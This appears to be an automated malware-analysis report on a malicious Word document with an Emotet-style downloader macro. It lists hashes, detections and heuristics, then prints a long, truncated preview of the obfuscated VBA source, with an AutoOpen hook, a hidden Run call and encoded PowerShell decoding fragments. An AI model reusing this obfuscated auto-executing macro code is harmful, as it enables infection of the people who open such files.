Office (OLE) malware analysis — malicious · 4c09c58d82d3c0fa

MALICIOUS

Office (OLE)

237.5 KB Created: 2018-03-27 23:22:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: 76c1309ebef6e525d8035d32c6d3fdb3 SHA-1: d7ad1a3c36f3d262b90e005b49c10c6ddbd27f18 SHA-256: 4c09c58d82d3c0fabb49af62762ea492f6bee798f7f30cb8f1ac641c28986b19

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject to execute code. The ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly indicate a downloader or dropper functionality. The script attempts to obfuscate its actions by concatenating strings to form a URL, which is then used to fetch a second-stage payload.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

aPCWJf = (JuVQr - ChrB(25880))
CreateObject(WflwPmLjGtuEjj).Run RzDkaI + Chr(VBA.vbKeyC) + ivEDtVo + GGUrPMqZlu + IZKiXHQEuQhC, vbHide
For Each zZjMBV In iXTTJ

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "HZAFbBdZQFhK"
Sub AutoOpen()
On Error Resume Next

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	44434 bytes
SHA-256: `e45b320ec95a92030f7d295cdb141c791df727755e8c7e95404a66bf24058bf4`
Detection ClamAV: No threats found Obfuscation or payload: likely 722 of 1189 identifiers look randomly generated (e.g. 'Fz4ADcANgBkADYANQA5AGUAZAA2ADcANwAxADkAM') — consistent with name-mangling obfuscation. Carved artifact contains 24 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "XbSECZO" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "zzXEWAv" Function fHuuXSXYUXp() On Error Resume Next For Each tKqGsu In UNRwf zXRjV = 1303 - lsuED For Each rwWEz In MmINA OcGaj = ukFTk Next Next whpdnuj = XYXjoL("u7qjQABlADIANAA3ADYAMAA3ADgAZAA5ADAAMABkAGUAMgA2ADUANABmADEAYQAyADIAYgA1ADMAZgBhADkAZgAwAGMAOQAxADAAZAA5ADUAMABhAGEAYgA4ADEAOQA2AGMANwAyADgAMwBkADYANAAyAGYAMQA2ADYAYQBlADYAMwBiADA1u", 6, 174) For Each ZzVzEB In lCWCM JRsTco = 18775 - PGXOK For Each VKTPY In XfzkM HwOOsa = caHBQc Next Next For Each TGNVc In ZjkaP EvWKOa = 71847 - iCaWz For Each LhRoc In dciJR DAriaE = mOpqa Next Next nzHPwnAwL = XYXjoL("Jwb3%nIAOABhAGIAMgA0AGMANgBjADMAMQA1ADcAOQA2ADYANQAyADcANQA5ADEAOAAwADMAMABkAG1.9", 7, 72) For Each mkUaRj In VKorOw rPcRNs = 53232 - kTAbW For Each NDWrr In qmICMc QtMzPi = KWmXd Next Next For Each whRPCp In VsUQDa jUuVm = 22839 - liYnrz For Each LiERnR In lbAEz KzYiLq = lSTDuG Next Next uYiLIZP = XYXjoL("Az9nsAGYAYQA5AGUAMAAwAGUAYwAxADEAOABlADkANgA5AGIAMQA2ADYAMQAzAGQAMwBmAGEAMQA4AGQAMABkADAAM4wC", 6, 85) For Each NCsbL In BKNQwQ qvstQ = 79323 - QnGtc For Each NrsLB In jtAii tFvAk = juhtq Next Next For Each ZZupI In iTEIWB WBhAv = 33640 - CnwJpQ For Each iStvRp In ErKYNp Ducuq = mwizNc Next Next KzJWMRlta = XYXjoL("GbMYDUAYgBjADEANAA2AGQANAA0AGIANABmADkAZQBkADIANgAzAGYAMwAwAGIANQBiADQAMQA2AA==' \| cOnVERTto-SECURESTring -KE (69..38)) )) ) \|IExpau", 5, 126) For Each Nmbkzs In zBKMF cSJWb = 65823 - pwsVPw For Each okjti In JZRPZY iHCkP = iSUoMX Next Next For Each ObpKpU In rnzAI kjKqn = 18029 - qdTXr For Each JwsVs In VqEfS vjuph = TluqvZ Next Next tFaWOY = XYXjoL("mluMF([RuNTIME.INteROPSerVICES.marshal]::([RUNTiMe.iNTeRoPSEnj", 6, 55) For Each oalok In SSQKE RGpmKj = 1869 - hrcNBv For Each DGiSB In RDkkC XApiV = pPriwj Next Next For Each htGOUc In CPpzKS qtSVw = 23644 - VauYzv For Each NMrGIi In WkPQN XtTqt = ZFBlb Next Next wUiHBPnrQZl = XYXjoL("NarANgAwADQAMAAwAGEAYgA2ADkAOQBiADYAZQA0ADUAOQBkAGIAMwBlADIAYQA3ADUAYQAxAGQAYgA5AGQANwAwADgAMQBlADMANwAxADcANwAyADUAZAArJslo", 4, 116) For Each cEMTM In VhppDw CjtTJC = 9043 - tQbHDf For Each VnLaP In jiDDYa jciqUw = qflsjW Next Next For Each YAOSzA In LjfMhn SLumz = 46065 - cvjwYS For Each mwDDZa In YpDPUW BLzpZC = JRXiT Next Next NMaInkJv = XYXjoL("f14oUANgBkAGQAMgA4ADYAYgA0AGIANwAwAGEAYQA5ADMAOQBlADMANQA0ADMANgA4AGYAZgAwAGMAMgA2AGUAOQBlAGIANwAyADgAYgAzADcAYQAwADQANABiADgAZAA2AGYAMQAyAGYAYQBhADgAYQAwADkANwA3ADUAOQA1ADMAYgAzADIAMwBiADHl", 5, 184) For Each vEhTYi In YnbJHM tVqXiB = 88031 - kjIzQr For Each fjUFpf In Ikqlp NjnhMI = nazDS Next Next For Each zvwMq In jNFha fJpdI = 76827 - AaaQRq For Each XnDms In wIDoqw pUASh = zttrlQ Next Next dfHGrfZMVZ = XYXjoL("WoiRviCES.MaRSHAL].GETmeMbErS()[5].NAmE).INVOkE( [rUntIMe.InTeROPSerVIceS.mARshAL]::secUREstrinGTObsTR( $('764jomb", 4, 107) For Each JHkWi In VcrvJT mEXFAm = 18666 - mjaIj For Each qViwR In TirXh LdszY = zsLvVn Next Next For Each AzlFZ In iqFhlH DOccD = 89417 - jbwnNM For Each PcOfYS In CkkJb snblpw = CUftqf Next Next UjJjqaAsXi = XYXjoL("mB%YgAxADkAMwBjAGUAOAAyAGIAYwBjAGUAZAA5ADYANgA0ADAANwA3ADcAZQA5ADYAZAA2ADQAYwA0AGMAOABmADkANgA3AGYAMAA2ADgAYQBhAGQAYQBkAGMANQA0ADgAZQA1ADkAZgA1AGQAYgBhADQANwA0ADEAYwA2AGQAYQA1A0uGM", 4, 173) For Each XZAwsN In SNrCMo AisTc = 99028 - vAKwPi For Each vzUotY In djlROK ajjcJ = BpmaOf Next Next For Each iZULD In MLkJK VZWwJu = 55933 - QzHkF For Each hDDSKs In LSQHv JSMzw = aHNjr Next Next HKllPJcJJwD = XYXjoL(".XbaAzADYAZAA4ADMANQBjADYAOABlADkAMgA3ADYAZgA1ADgAOQA1ADYAMgBmADQAZQAxADEAMQAyAGIANQA4ADUANQBmAGIAZQBjADAAMAA2AGEAMQBiADEAOABmAGUANQBhA1p", 5, 131) For Each YZOwkS In GTXIHS SSKHFr = 26737 - TnEAJi For Each cUUMdl In wOiwY mlKEiz = HzGdAa Next Next For Each QzMHzI In hYCkdj dAWnZ = 56845 - sEHksX For Each Cazmb In GipYZ BfYLUh = dGmoA Next Next ULRubiwHw = XYXjoL("saADIAMwA1ADUAZQA3AGEAOAAwADIAOQBiADYAOjWlcA", 3, 37) For Each woXuFX In kRfwD BZOvLw = 26143 - bGUtmC For Each uSQlwL In SinkAT jAaIW = jOKbqn Next Next For Each PHUjhj In WwFoC JjKWU = 28325 - XFtLwL For Each zIjir In tvVGd VlBNlk = ZJbKd Next Next jlwiRjvKZHb = XYXjoL("AKNAAwADAAZABmADkAYgBkAGUANAAyADMAZAA5AGQAOQA4ADAAOQBlAGQAMgBlADAANgA5AGEAYgBlADAAMQl6Toj", 3, 82) For Each ulbJN In jVQNO azcZN = 26798 - slsvW For Each IahmHX In FcwoRl ztNFX = zKnlzw Next Next For Each qvGDs In trqNB BwvqCs = 66441 - hfqww For Each ljzBw In XhGvN GdAWb = WUtHC Next Next EIiiJ = XYXjoL("f4DYADUANgBmAGQAMQAzADAAMAAzADAANgA2ADMAZgA1ADYAYgBlADUAMgAyAGYANwBiAGIAZABhAGQAYwA4ADIA3fNP7", 5, 84) For Each dhFXY In FKGYW tpRwO = 38502 - zcwlEQ For Each EhZca In ipXOzA vqDzi = nclrY Next Next For Each GuajFT In IrHjT XKBAif = 72930 - iDMbrP For Each BjhNm In wisFRX ICzzYX = TliFb Next Next hIoKFlCwO = XYXjoL("DIQ11ADcANgA2AGYAMwBlADgAOQA5ADkAYgAzADYAOABjAGQAMABlAGMANABhADgAZAAxAGQAMwAyAGUAZAA4AGMAMAA2ADkAOQA3ADcAZABjAGMANgAxADIAMQAyADMANj4tn", 5, 126) For Each fYqOI In DzGIZ huZjI = 88960 - HmojE For Each CUJzQ In claHa izDUBB = Zfrdhn Next Next For Each zOibA In jaAsQ UClNMd = 90779 - wHFMI For Each QifTTD In oiRFcE kTBaY = bKirK Next Next IkMRtwKq = XYXjoL("o.rBiADQAZABhAGQAYgAxADcANwA2ADkAZQAzAGUAMgBmAGYAZQA0AGYAMQAwAGEAMwBlAGYANQA4AGMAMABlADMAYgAyADEAZgBjAGMAZAAyAGEAMQBjAGMAMQAxADgAMABhADcANAASOKij", 4, 137) For Each vrFrIW In KlAuh MtjUT = 14178 - ZpZfGf For Each vOFEnJ In IEiqJj tUjYU = MTvqK Next Next For Each WnhhCo In USzUCs imTLpG = 63735 - rUYkOH For Each HcJnXq In zCZiI ozINJM = lhqzS Next Next wtGApcS = XYXjoL("lA3ADgAZAA2AGYAOAAyAGYAYwA0AGQANAAyADcANwA3ADIA.0nD1F9", 2, 46) For Each bwMJRa In kKVLPV VnQmL = 95260 - GtMKb For Each BzalK In aOQmt Daudb = znMkzQ Next Next For Each qOdNcd In kZTJuO EQHpAv = 3445 - BIOwia For Each oSHfi In hPMEUo LRcIU = iJvnvS Next Next UTACD = XYXjoL("9EudsADQAYwA3ADEAMQA2AGUAMQBhADMAZAA3AGUAOAA5ADkAZQBmADIANgBhADgAYgAzADIAZgA0AGMANQAwAGIAZQA2aoJ", 6, 88) For Each NMUwfz In SkACO vXBulj = 13497 - RkjFcz For Each ItiLNs In UvNYVQ aQZunj = IACOL Next Next For Each kwYmt In HYkaoF FTkCpt = 17266 - vEIzNV For Each zkIOa In ANaHzT QZXXmD = JWWiYf Next Next owmLnQ = XYXjoL("5jAGMANABlADkAZgA2ADcAMAAxADQAMQBkAGIAMwBmAGEAZQBhADQAMgBlADIAMwBhADIAOABkAGYAZQBkADkANABiADkAZQBjADUAYQAxADYANQBiADUAOQBmADgAZgAzAGIAZgBjAGMANwAxADAANwBsTzEwt4", 2, 152) For Each psQof In uYzSZ CEFKup = 51249 - LVhkL For Each bDdOZ In vKLVKS IorZE = IBpDLb Next Next For Each XHQYdz In fGnJMV TdmOk = 54131 - TpzWf For Each twpMz In fXPSTw GMWLD = YuiujX Next Next IQbXMIMN = XYXjoL("1AMwA1ADUAMAA0ADIA1TVjm4jW", 2, 17) For Each QjDSQB In mziQaJ qiEKS = 34445 - Vsziw For Each HSKBGo In WvTzB wbJiF = tGhQij Next Next For Each rzzasM In nQwwHj wIqZvZ = 82780 - zPRip For Each Ribttc In IazYah NRwJti = zYuIc Next Next UaqHZTJKT = XYXjoL("0D%EAYQA3ADMAMQBmAGYAMABhAGEAOABiAGIAMAqsf", 4, 36) For Each SziJKW In WiVCND oiqBVs = 90343 - hQIoL For Each TJjlQ In cKrqNE Zfwwvp = jPhtmk Next Next For Each doPUD In fujcFj OdDVII = 45788 - EOjXc For Each IXLzR In zBHXC JSAWoL = vVmGZ Next Next DNiYsfmpA = XYXjoL("OMAA5SnTwt", 2, 4) For Each AbOZa In waRXWV oOwMVf = 37574 - zFKiaU For Each hzVRmk In tlbhp HrudA = XJwIR Next Next For Each AGOGFj In IPwvB RaFpa = 44963 - LawKw For Each stKOV In oDWWWk JtNuo = GIOYI Next Next fkcOvYqdzjY = XYXjoL("nXt3c9ADcANgA3AGUANwA3ADAAZAA4AGQANwAzADQAYQAzADMAZQAwADYAMAA5ADcAZAAwADgANwAzADUANABhADgANQA4AGYAZABiADgAZABmADQAMwAwAGQAYgBiADUAOQBlADEAOQAwADIAYgA1AGQAZQBkADUAMQAyAGEAYwBhADMANAA0AGYAYgBmAGUAMwBhfqd", 7, 192) For Each VinUa In EHBrY AazMzu = 8133 - EKNQzf For Each osvdV In AzNAj MSdNSV = uOVtK Next Next For Each OMpriO In GjQnmZ IaTCY = 82521 - GwkAO For Each lBpzuZ In tWYhwZ DMAiR = wALafd Next Next KRUUNWEkwUz = XYXjoL("1ZjAMAA0ADkANwBkAGYAZABlAGUAZABiADMAOQA3AGYAOAA4ADUANAA1ADEANgA5AGQAMwA5AGIAZAA5ADAAOQA5ADIAYgBmAGUAOQAyADMANABlADAAYQBmADEANgA3AGIAOAA2AGMAMQBlADAANQBjADIANgA5AGUANAAzAGQAZQAwAGUAOQA5ADYANgAxAwzlF", 4, 190) For Each iHPFr In OFFuR MfblCl = 12856 - XwtwBi For Each BlpOTQ In KlGSq KNwSip = zXOIo Next Next For Each rQPpcz In LvmIf wOmkhY = 7351 - MvBfj For Each FjQsD In XzIWwd LjoLZa = tsJhJ Next Next ifhqN = XYXjoL("JKlzowBQAFAAOABCAGcAPQA9AHwANQBjADQAZQAzADkAZgAzADQAMwBmADcAOAAzADcAZABkADkAYgAyAGQAYgBlADkAMgBmADUAYwAwAGUjzDu", 6, 102) For Each JRfUOJ In dNiiuE ZzFPmE = 65280 - cYkcEi For Each NWjiHX In SnHok wBKRU = fumtvF Next Next For Each PmOzG In jzMkbm GqrsA = 66779 - SlqFE For Each ZOHXTj In sEzil diuEtC = uSoPoC Next Next XNBGwTcwds = XYXjoL("pfGMANQA5ADAAOQA5ADUANwA2AGUAYQA5ADUAMQA5ADAAYQA5ADQANAA0ADAAYQA2AGMAYQBjADgAZgAzAGEANABiAGUANQAwADUAYwBiADUAZQA4ADQAMwA0ADAAZgA4ADYANArF4YB", 3, 133) For Each BCdwJu In VSroR dcBrJH = 24322 - SYjwD For Each DGZsjQ In HqbCZq HQCPcH = RRzGh Next Next For Each vFEiR In qntGw OmRjs = 7713 - VKaITH For Each GDYkGv In GTDiC YqVCMb = wRHEDV Next Next VGViFjVVN = XYXjoL("Fz4ADcANgBkADYANQA5AGUAZAA2ADcANwAxADkAMgBjADYANQBkADUAMwAyADMAMwBmAGMAYgAwADkAYwBmAGQAZgBhAGMAOQAzADkAYwBlAGMAYwAzADQAZQA5ADQAZgBmADcAOAAyADUAMgA1ADYAYQA0AGYV0u0j", 3, 155) For Each QFVzlW In AmPJAC ISOCqM = 51181 - pXwrMs For Each vThkzF In zGsfQ DFtLY = pwtCMI Next Next For Each UCKpO In OZNowK MRYTP = 22016 - FhqYa For Each qXfKI In iNJiiL cwFFad = MJXFnY Next Next FisURLbZd = XYXjoL("JAOYQjaj", 2, 2) For Each RPnMm In NzqtD zjGDiq = 15546 - iMzbP For Each pohAaW In kMzVWw jdFMBt = DGFoPf Next Next For Each pqXsrv In azClE pXGjHG = 44160 - ciUXl For Each idGUVz In fdzjHj zckEku = SMcGV Next Next iWuFjILYp = XYXjoL("1DMAZQBmADIANQA3ADgME0UKf2", 2, 18) For Each lNHCV In LZwsi FsJuH = 99252 - ZpAzzQ For Each qQMRiN In zGSVz CUHCj = pfCJY Next Next For Each NIXQm In zKJfm tMAkXp = 79916 - MwPGj For Each uzCMm In DJURA fkviA = sLEDL Next Next XNpTljLf = XYXjoL("LABiAGMAOQBlADAAYQA4ADkANQBjAGEANAA2AGEAZAAxAGYANwA3AGUAOQA3ADQAOQAyAGQANgA0AGMANwAwADYAZQA0ADcAMQBhADMAYQ4 jN@", 2, 105) For Each CzjBzR In QjjTzI sRWkri = 69765 - KEWiw For Each OYCqo In KpmCJ YjTzR = WDRaoT Next Next For Each zhFXU In qzrmbY PpFsAE = 51671 - SpFlQ For Each YpjjJO In WKTvkh qMRAbZ = FtHpC Next Next bMMwFLUSiq = XYXjoL("lQAxADgAZAA2AGQAOQBjADEAYQBiADMAZgBlAGQANAAxADQAOAAzADQANgA5ADEAMgA5AGUANAA2ADIANAAzADYAOQA4ADkAMgAzAGUAYgA1ADAAOQA2AGUAMQBjADIAMgBiAGMAOQBhADAAjSwXpzKa", 2, 143) For Each Eiszm In HRJHD KQsim = 94051 - XpaGY For Each JrbTw In uGoVsS IjZTh = NiRIR Next Next For Each QBjOuI In DBZcF wTtdAu = 62801 - rIwowv For Each YOwKRn In MkAuOX LJvEbn = cdWUH Next Next JVtfzSLBv = XYXjoL("aDAdADcAYwBlADgAOABkADcANwBkADIAZAAxADYAMQA2AGMANwAxADYAYQBjADQAZgA3ADUAMwA0AGIANQA2ADMAMwBkAGYAYQBlADAANAA3ADgAYQAwAGUAYwAxAGYANABhAGYAZgAxADUAOQBjAGEAMgBhAGQAMQA1ADYAMATdw", 5, 166) For Each ZskavM In fndRoK HJcGf = 17557 - fzAjX For Each ivlZp In wGTza CvzYjd = QWDSA Next Next For Each cSvwNt In ffQzj WjEaLT = 75418 - obDZw For Each MLfaK In kYUHM PfdjT = DnprL Next Next ifFUHrcmukw = XYXjoL("zb7iGUANAAwADMAZABiAGEAYgAxAGMANgAzAGQAYwA5ADkAZAAzAGQAYgBiADkAOAA0ADEANQAxAGEAYQA1AGEAMwAwAGUAYgA0ADIANQBlAGQANwA3ADQANgA1AGUANwBjADMANwA1AGUAMwAwAGIAYgBlAGIAMwAxADUANgBhADkANgA0AGMAMF.E", 5, 180) For Each Lmdsoq In ZPpGUz mcEwMz = 27520 - EHXHI For Each WLOUzn In Ydrkd nmZZI = dfaiqi Next Next For Each Zqnjua In coTHv GHjnUO = 98196 - IcHvtE For Each otkdR In FLsWt zaMnTH = duhkW Next Next rwRujnHtnSk = XYXjoL("nfkAGYAMgA2ADEAZAAxAGEANgBhADMAZgA2ADgAZABmADMAMQBhAGUANwAyADUANAA3ADQAOQA4ADcANgAxAGEANABFualF", 3, 88) For Each LuRNjl In Wpouj dlAvoR = 52982 - BRvpno For Each aXGJOz In OowMk LImREp = PdwsSu Next Next For Each AFDawA In FkjYwE cjpal = 49210 - DSzln For Each kiIYcH In KUNWvn fuRUV = twuuSm Next Next RnQcKzQQ = XYXjoL("uUU0ldGEAOQAwAGMAYgA0ADEAZAA1AGEANgA3ADEANgA5ADQAYgA0ADgAOQAyAGYAOQAyADUAMwAyAGYANAA3AGIAYwA0ADkAZAAzADgAMAAyADYAOQBmADAANQBkAGUANwA1AGUAMg7s", 7, 133) For Each pwnFoJ In CbcIw LzHTTf = 95276 - WJBdQ For Each plkNGp In EOhHh VFESIY = dvrbbm Next Next For Each bSjYEn In ocwjct amCldB = 19608 - lIQfZ For Each LwBDm In OaifvI hJrDu = hITKkf Next Next iAVXasQzNT = XYXjoL("PBkADkAMAA1ADAAMAAyAzj1KB", 2, 19) For Each VCjaIZ In Odizc KjAIXq = 39949 - cPuFWr For Each PrnQYJ In LuEXV sEfubE = AILnuK Next Next For Each AIFvlH In iMFXNz vzVVtR = 33313 - BMzEiR For Each iDoYr In WPHAjZ RljbLL = bbdaz Next Next BmTDGiwcj = XYXjoL("sOaA0ADgANgA5ADEAOQBjAGIAMQBiAGIAZgBlADkANwAwADAAZgBhADUAZABiADcAMgAwADQANQA0ADUAZAA1ADQAOQBhAGMAZAAzADUAYQBlAGEAOAAxADIAYwA5AGYAOAA3ADYAYwA3AGIAOQBlADUANQBjADEAMwA39%U%1X", 4, 162) For Each FGtwh In cYiBj FuYkNU = 20038 - aiQcXs For Each HfGaN In biPWLT wSmkA = GRlqOI Next Next For Each jIPWr In icXzO DsLfK = 64539 - EVNRz For Each LaViwG In kqtUzl pwGnq = rsIsA Next Next KVdplmaorsQ = XYXjoL("11lAiXbrZb", 4, 1) For Each qinqVr In sfuNu qkaNw = 83140 - YJWGPa For Each amTRch In QvwzXd ssukLP = oRiJB Next Next For Each GtlKV In UAnhX nvdTw = 7413 - rVrBH For Each oApita In jlMCiZ TPpPDA = XCXXHJ Next Next somiTwRIGvo = XYXjoL("GAzADQAMQBmADcAMwA3ADQAOQAxAGUAZgAwAGIANAAxAGUAYgA3ADcAOQBmAGEAYQAxAGUAYQA1ADQAMwAxADYAZgAyAGEAOABkAGQANAA1AGIAOQA0ADIANgBmADMAOABhAGUAMwA3AGQAYQA2ADEAMgAzADgAOQA5o.oYj", 2, 162) For Each HfPrdN In EfStGu BibpZN = 64422 - jczGBR For Each RLlRoc In zKALI kXVwG = VUwhi Next Next For Each KWrtu In CUuok itKPiX = 15222 - YicnJm For Each dlHfiG In dQzmwV zjEtU = fEZzcD Next Next lmIJwsjHn = XYXjoL("lMusfsYQBjAGEANQBhADYAOQAzADUAMwBiAGUAZgAyAGUAYgA5ADIANgABj", 7, 51) For Each njtEkH In ZinIC zQtQrZ = 74134 - YvYto For Each vZMJDf In rwXuBq pQvvrs = PKIFCQ Next Next For Each YpMhl In GWkaRp ojVYJc = 9851 - VEcsm For Each ADnTB In RBruEH tjMKA = XTHJkL Next Next vhozT = XYXjoL("uYANQA2ADIANwBhAGYAOQA2AGIAMwA5AGIAOQBkAGUANQAyADgAZgBkADIAMQBkAGQAMwBkADMAYwA1AGMAYwA4ADAANwA0ADcAYgBjAGYAOQBlAGQAOQAzADgAMgBiADcAOAAxADMANwAwADMAZABhADYAMwBlAGQAYwA0ADIANQBmADYAYgBljW4w9d", 2, 182) For Each jdDlk In wWGTzH MPnpb = 38750 - DLqIt For Each IPssuC In rznwF PICnQ = DkXIj Next Next For Each kVPWUd In jamdba qucih = 64313 - EMjmwE For Each iLDaXF In OBova dZPnTB = zSfSFE Next Next mTkDETKA = XYXjoL("fM2d1116743f0423413b16050a5345MgB8ADIAVQBjAEoAYQBnAFgATwBLAFAATQBPAGsAdQBZADgAU%5Dl", 3, 77) For Each jIjjYZ In EPiDE Mbtnn = 11978 - KfzvSu For Each pMflV In TaGVE BlYKj = PhmVYs Next Next For Each wYZkFu In JYhSSm rcfztz = 20977 - bdLaf For Each ptVnbN In qUjll Qojkk = PzkFK Next Next XzKQbrbpD = XYXjoL("pl1UlgA3ADgAZQAyAGUANQBiAGMANgA3ADEAZQBkADcAOQA4AGQAMAA2AGQAMwBlAGQAMgBmADUAZQBiADYAZgAxADAANwA2ADQAOQBjADYAOQBlADYAMAA0AGIAMAAzAGYAZQA1AGMANQBhADAAOQAwADYANgBmAGIAZDM", 6, 160) For Each acWwv In iOnUf frYSA = 14105 - OHluks For Each aGPtEn In UAkqt KGXbv = WFtuz Next Next For Each XRLZYM In TJBtfE CjEXih = 39453 - GIvWsj For Each DftYWw In jzROBP hUlHi = IJRSzQ Next Next PjMsmwu = XYXjoL("jzOA3AGQANQBiADEArau", 4, 14) For Each LCdBTw In GWAGiA wFGUfF = 89133 - nKPKj For Each uNaaGT In jWQuE tLUiZh = LELzR Next Next For Each qjaSK In hscCa jFSEC = 7540 - QiDrU For Each wwbSD In wqJjHQ OVFDE = zCZrDb Next Next jEEclzrhS = XYXjoL("UA3ADkAZABmADkAZAAxAGUAZQAzADQAYwBkAGQAOABjADQAYwAzADcAZQAwAGQAOAA1ADIANQAyADYAOAA2ADEAYQBiAGIAMwBjADMAMABiAGIAZAA3AGEAMgAxADcAZ3laV1", 2, 127) For Each fbOdns In HOdFZ bcdXZ = 22646 - mpBKiz For Each XIWFXr In vXbjt KHzsz = iVUYCR Next Next For Each bhBVh In tDHhmN CktYG = 64996 - jlovuk For Each OSzQIr In KNJGS AuMttA = iSkrT Next Next QPjvwvHH = XYXjoL("lmAGEANQA1AGMAZQAxADIAMQA0ADcAMgBkADcAYwA2ADcAMgA0ADIANwBmADAAMgBiADEAMAA2ADMAMgA1AGYANwA0ADYAOQBkAGQANgAwAGQAMQA3ADAAOAB5ozmV", 2, 120) For Each BZpsF In wFilJR WGrWjR = 76462 - doZuB For Each WBwhFz In qcUVDf UWJCc = iHqvA Next Next For Each VVSZaK In QlrHM EkClMs = 64746 - lYIiXF For Each lqBPnB In KzfSUw YBXKk = vKBFlz Next Next mtazsj = XYXjoL("scIV3AGMANwAxADYANAAwADIAYQBkAGEANAAwADEANgAyADQANwBkAGQAMAA1ADYAZgBhAGEANgBhAGMAZQA4AGUAYQAxADMAZgBjADcAMQA4AGipT@", 6, 106) For Each kzKrC In jivqs nLZEF = 88871 - jiMXk For Each mHrao In dotHMn PORWcL = mwmVGw Next Next For Each poNvpj In mMdNEL uwYumY = 76381 - jHHQq For Each OiojB In IjZTi nqHFAF = kjWBHJ Next Next NlEjoRuj = XYXjoL("jq4iAGQANABmAGEAMgBjAGQANwA5ADQAZABmAGEAOQA3ADAAOABlAGYANwA1AGEAMgA3ADQAMQA0ADQAZAA3AGUAMQA5ADMAMQAwAGIANgBlAGEAYgAxADMAZgA3ADIAZABkAol9", 4, 130) For Each EhFFn In sOXip DzSNWF = 31119 - kwBdHC For Each GprjhZ In HabTfF ZScQW = pRVzw Next Next For Each mrwoh In AKJrsE HpOlu = 27182 - MKWni For Each KAYzw In qPGGc PrffDm = MtcTi Next Next TbcQU = XYXjoL("%jDcAZQA3AGQANwA5AGUAMAA3ADYANQA0ADEAMwBhAGUANfuC.G", 3, 44) For Each twIob In JGZUA LtaNEB = 66740 - rfWdhH For Each YWOhjp In ETiail opWfs = towobl Next Next For Each wLRnsF In BDPCGP TQYAFH = 62948 - uClrjH For Each tzqss In MKsaw zJUiS = wiwBKH Next Next GrMCqTPTLUl = XYXjoL("EIFnilt9ZN", 8, 1) For Each EGROBA In fiJQM WFHFj = 50053 - AhiZY For Each CicVr In iEoTuv ZZbQzE = EStXs Next Next For Each FhZwz In BrRUz uvrVOE = 23333 - jUpNj For Each TmHtDV In CbzKU tniSw = TCoEA Next Next nwubFWrw = XYXjoL("nOAAwAGQAMABlAGEAZgAyADMANwBiADgAMAAxAGMAMQAyAGIANwBiADAANgAwADUAMgA5ADcAZABkADQAZgA3ADUAOQBhXFGDj", 2, 92) For Each nDkbls In SWtPj RiTsT = 87847 - tqTTB For Each rAMai In HLQRia FwBrzX = ujjAJV Next Next For Each jawEh In nYfuA QApdW = 31568 - jcPrBQ For Each fIuzqj In VmCzsj fEJAt = oJVKL Next Next kfVVouz = XYXjoL("Vu%lgBhADEANwAwADkAMABjADMAOAA1ADAAMAA5AGQANQBkADYANgBlADAAMwBhADkAMABhADMAMQA3ADgAZAA1AGMAOAA0AGMAOAAyAGQAZgA2AGIAMgBlAGYAZgAwAGYANgA3AGIAOAA5ADQANQAzAGIAMwAyAGEAMgBjADUAMgDnD", 5, 169) For Each lkuUi In oBbfii RzvOm = 57647 - hbBXFr For Each JsVnj In bzqaSU EhoAa = wcItvi Next Next For Each roGwa In rRBbX aaovu = 22409 - XcUiM For Each OEUmkm In AHIbAK SrJiT = ckEzww Next Next dGMhViVOUBX = XYXjoL("1RCwADAAMwBkADEANQBmAGQANAA3ADkAZgA2AGUANAAzADcAMgA3ADQAOAAzAGYAMgAzADcANgA2ADAAOQAwAGMAOAAzADQANABkADgAMQdoMw", 4, 103) For Each NcoWG In zMAXiR uzSRMu = 68794 - zjTmP For Each VizVpl In PYTmV KvRUi = dodRm Next Next For Each uQuAkh In quGlZj VsRoZO = 91000 - izncbf For Each QdkOw In PpfdX uajibc = HFjomk Next Next vQkzjTV = XYXjoL("cgA5AGIAYQA1ADAAMQAyADgANQAzADkAMQA0ADMANQBhADYAYQA3ADEANQBhADQAMgBhADUAMABoKm40", 2, 74) For Each BmwMIG In ndcBK XGDlLC = 38107 - TzOLz For Each Xzhpwi In OcsTV tGwDh = uRBBz Next Next For Each inJdW In CJrLAF ZQWDU = 83025 - MIzKV For Each oqRmjf In fIKhYp wwLoF = JCYvYH Next Next UUjbjbw = XYXjoL("lQBjADMAMgBkADEANQA2AGGJlSz5NX", 2, 21) For Each rnVpw In jpMrF UPYQFp = 58265 - ZLPzJE For Each dlRWNZ In zrnViR clEFJ = akmTGt Next Next For Each SYbYic In wWzppP nwaLG = 70645 - OSkTv For Each pwLHpz In jIZGYk jDZYP = okLKoH Next Next VjmcQ = XYXjoL("9lsIj9QBlAGMAMgA5AGUANAA2ADUANgBjAGEANAAyAGQ.V", 